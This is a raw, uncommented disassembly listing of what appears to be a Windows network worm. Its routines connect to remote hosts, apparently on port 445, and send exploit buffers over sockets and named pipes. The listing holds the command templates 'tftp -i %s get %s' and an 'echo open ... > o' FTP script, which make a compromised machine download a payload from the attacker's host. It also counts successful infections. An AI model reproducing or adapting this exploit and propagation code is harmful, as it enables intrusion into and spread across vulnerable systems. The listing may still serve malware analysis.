		add	esp, 0C8h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	short loc_4034E8
		mov	edi, 186A0h
		push	edi
		call	sub_415DC9
		mov	esi, eax
		push	edi
		push	ebx
		push	esi
		call	sub_415570
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_4250D8
		push	[ebp+var_4]
		call	dword_421074	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_4034D8
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_421070	; WriteFile
		test	eax, eax
		jnz	short loc_4034F6


loc_4034D8:				; CODE XREF: sub_4033CB+F3j
		push	esi
		call	sub_415E3D
		push	[ebp+var_8]
		call	sub_415E3D
		pop	ecx
		pop	ecx


loc_4034E8:				; CODE XREF: sub_4033CB+B9j
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		jmp	loc_403441
; ---------------------------------------------------------------------------


loc_4034F6:				; CODE XREF: sub_4033CB+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	dword_421068	; ReadFile
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_415E3D
		push	esi
		call	sub_415E3D
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030C0
		cmp	edi, 1
		pop	ecx
		jnz	loc_40365A
		jmp	loc_403649
; ---------------------------------------------------------------------------


loc_403539:				; CODE XREF: sub_4033CB+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_412B98
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403649
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43A418	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403649
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43A398	; ntohs
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_4035CB
		push	[ebp+var_4]
		jmp	short loc_403643
; ---------------------------------------------------------------------------


loc_4035CB:				; CODE XREF: sub_4033CB+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4035E3


loc_4035E0:				; CODE XREF: sub_4033CB+22Aj
		push	esi
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_4035E3:				; CODE XREF: sub_4033CB+213j
		push	ebx
		push	48h
		push	offset dword_4250D8
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4035E0
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403624
		push	[ebp+var_8]
		jmp	short loc_40363C
; ---------------------------------------------------------------------------


loc_403624:				; CODE XREF: sub_4033CB+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40364D


loc_40363C:				; CODE XREF: sub_4033CB+216j
					; sub_4033CB+257j
		call	sub_415E3D
		pop	ecx
		push	edi


loc_403643:				; CODE XREF: sub_4033CB+1FEj
		call	dword_43A430	; closesocket


loc_403649:				; CODE XREF: sub_4033CB+31j
					; sub_4033CB+80j ...
		xor	eax, eax
		jmp	short loc_4036CA
; ---------------------------------------------------------------------------


loc_40364D:				; CODE XREF: sub_4033CB+26Fj
		call	sub_415E3D
		pop	ecx
		push	edi
		call	dword_43A430	; closesocket


loc_40365A:				; CODE XREF: sub_4033CB+163j
		xor	esi, esi


loc_40365C:				; CODE XREF: sub_4033CB+2B1j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B24D
		test	eax, eax
		pop	ecx
		jnz	short loc_403680
		push	1388h
		call	dword_421060	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_40365C
		jmp	short loc_4036C7
; ---------------------------------------------------------------------------


loc_403680:				; CODE XREF: sub_4033CB+2A0j
		cmp	[ebp+arg_B4], ebx
		jnz	short loc_4036A5
		push	ebx
		lea	eax, [ebp+var_338]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_4036A5:				; CODE XREF: sub_4033CB+2BBj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]


loc_4036C7:				; CODE XREF: sub_4033CB+2B3j
		push	1
		pop	eax


loc_4036CA:				; CODE XREF: sub_4033CB+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4033CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4036CF	proc near		; DATA XREF: .nsp0:00423004o
		jmp	$+5
sub_4036CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4036D4	proc near
		push	0BB80h
		push	76Ch
		call	sub_414098
		pop	ecx
		mov	dword_438FC0, eax
		pop	ecx
		retn
sub_4036D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036EB	proc near		; CODE XREF: sub_40384C+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_438FC0
		push	eax
		call	dword_43A398	; ntohs
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43A418	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403825
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403825
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		mov	esi, offset byte_42C1FC
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_438FDC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403825
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403829


loc_403825:				; CODE XREF: sub_4036EB+51j
					; sub_4036EB+67j ...
		xor	al, al
		jmp	short loc_403847
; ---------------------------------------------------------------------------


loc_403829:				; CODE XREF: sub_4036EB+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		push	ebx
		call	dword_43A430	; closesocket
		mov	al, 1


loc_403847:				; CODE XREF: sub_4036EB+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40384C	proc near		; CODE XREF: sub_403C8B+125p
					; sub_403C8B+147p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_415D70
		mov	eax, dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_4250C4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40388B:				; CODE XREF: sub_40384C+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40388B
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_425B10
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4155D0
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_4155D0
		mov	ax, word ptr dword_438FC0
		add	esp, 2Ch
		push	eax
		call	dword_43A398	; ntohs
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_425810
		call	sub_4155D0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403A48
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_425F38[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_4155D0
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_4250BC
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_4155D0
		add	esp, 40h
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_403A01:				; CODE XREF: sub_40384C+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_403A01
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_415570
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_415570
		add	esp, 18h
		jmp	short loc_403A9F
; ---------------------------------------------------------------------------


loc_403A48:				; CODE XREF: sub_40384C+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_415570
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_4155D0
		mov	eax, dword_425F38
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_403A9F:				; CODE XREF: sub_40384C+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_415570
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403ADE


loc_403AD7:				; CODE XREF: sub_40384C+2B9j
					; sub_40384C+2E0j ...
		xor	al, al
		jmp	loc_403C86
; ---------------------------------------------------------------------------


loc_403ADE:				; CODE XREF: sub_40384C+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		push	ebx
		push	68h
		push	offset dword_425B74
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		push	ebx
		push	0A0h
		push	offset dword_425BE0
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_403BF4
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_425D98
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_4155D0
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_425E04
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_4155D0
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_425E78
		push	eax
		call	sub_4155D0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403C4A
; ---------------------------------------------------------------------------


loc_403BF4:				; CODE XREF: sub_40384C+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_425C84
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_4155D0
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_425D04
		push	eax
		call	sub_4155D0
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403C4A:				; CODE XREF: sub_40384C+3A6j
		push	eax
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	12Ch
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4036EB
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403C86:				; CODE XREF: sub_40384C+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40384C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C8B	proc near		; CODE XREF: .nsp0:00402FC3p
					; .nsp0:00403E78p ...

var_854		= byte ptr -854h
var_810		= byte ptr -810h
var_214		= byte ptr -214h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_414098
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415570
		add	esp, 14h
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	dword_43A3D8	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_10], eax
		call	dword_43A398	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_43A418	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403D93
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403D93
		push	edi
		push	89h
		push	offset dword_4258F8
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		mov	esi, 640h
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		push	edi
		push	0A8h
		push	offset dword_425984
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		push	edi
		push	0DEh
		push	offset dword_425A30
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		movsx	eax, [ebp+var_810]
		sub	eax, 30h
		jz	short loc_403D9D
		dec	eax
		jz	short loc_403D9A


loc_403D93:				; CODE XREF: sub_403C8B+63j
					; sub_403C8B+79j ...
		xor	eax, eax
		jmp	loc_403E37
; ---------------------------------------------------------------------------


loc_403D9A:				; CODE XREF: sub_403C8B+106j
		push	edi
		jmp	short loc_403DC1
; ---------------------------------------------------------------------------


loc_403D9D:				; CODE XREF: sub_403C8B+103j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jnz	short loc_403DE1
		push	1


loc_403DC1:				; CODE XREF: sub_403C8B+110j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jz	short loc_403DE8


loc_403DE1:				; CODE XREF: sub_403C8B+132j
		mov	[ebp+var_4], 1


loc_403DE8:				; CODE XREF: sub_403C8B+154j
		push	ebx
		call	dword_43A430	; closesocket
		cmp	[ebp+var_4], 0
		jz	short loc_403E34
		push	0
		lea	eax, [ebp+var_214]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]


loc_403E34:				; CODE XREF: sub_403C8B+168j
		push	1
		pop	eax


loc_403E37:				; CODE XREF: sub_403C8B+10Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C8B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 1BDh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402DDD
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_403E8D
		test	eax, eax
		jz	short loc_403E90


loc_403E8D:				; CODE XREF: .nsp0:00403E87j
		push	1
		pop	eax


loc_403E90:				; CODE XREF: .nsp0:00403E8Bj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403E94	proc near		; CODE XREF: sub_404108+Ep
					; sub_404108+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_403E94	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E9E	proc near		; CODE XREF: sub_404108+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403ED0
		push	ebx
		push	0
		push	edi
		call	sub_415570
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4155D0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_403ED0:				; CODE XREF: sub_403E9E+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403E9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403ED8	proc near		; CODE XREF: sub_403FD2+18p
					; sub_40404C+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_403F24
		push	edi
		push	0
		push	esi
		call	sub_415570
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4155D0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_403F24:				; CODE XREF: sub_403ED8+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403ED8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F2D	proc near		; CODE XREF: sub_403FD2+5Ep
					; sub_403FD2+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_403F3D
		push	eax
		call	sub_415E3D
		pop	ecx


loc_403F3D:				; CODE XREF: sub_403F2D+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_403F2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F46	proc near		; CODE XREF: sub_403FD2+20p
					; sub_4040AD+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_403F73
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403F77


loc_403F73:				; CODE XREF: sub_403F46+Dj
		xor	al, al
		jmp	short loc_403FCE
; ---------------------------------------------------------------------------


loc_403F77:				; CODE XREF: sub_403F46+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_415570
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403F9C
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_403FB6
; ---------------------------------------------------------------------------


loc_403F9C:				; CODE XREF: sub_403F46+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_403FB6:				; CODE XREF: sub_403F46+54j
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415E3D
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_403FCE:				; CODE XREF: sub_403F46+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FD2	proc near		; CODE XREF: sub_404108+89p
					; sub_404108+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_438FD4
		call	sub_403ED8
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40400C
		xor	al, al
		jmp	short loc_404048
; ---------------------------------------------------------------------------


loc_40400C:				; CODE XREF: sub_403FD2+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_415570
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4155D0
		add	esp, 18h
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_403F2D
		mov	al, 1


loc_404048:				; CODE XREF: sub_403FD2+38j
		pop	edi
		pop	esi
		leave
		retn
sub_403FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40404C	proc near		; CODE XREF: sub_404080+14p
					; sub_40409D+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
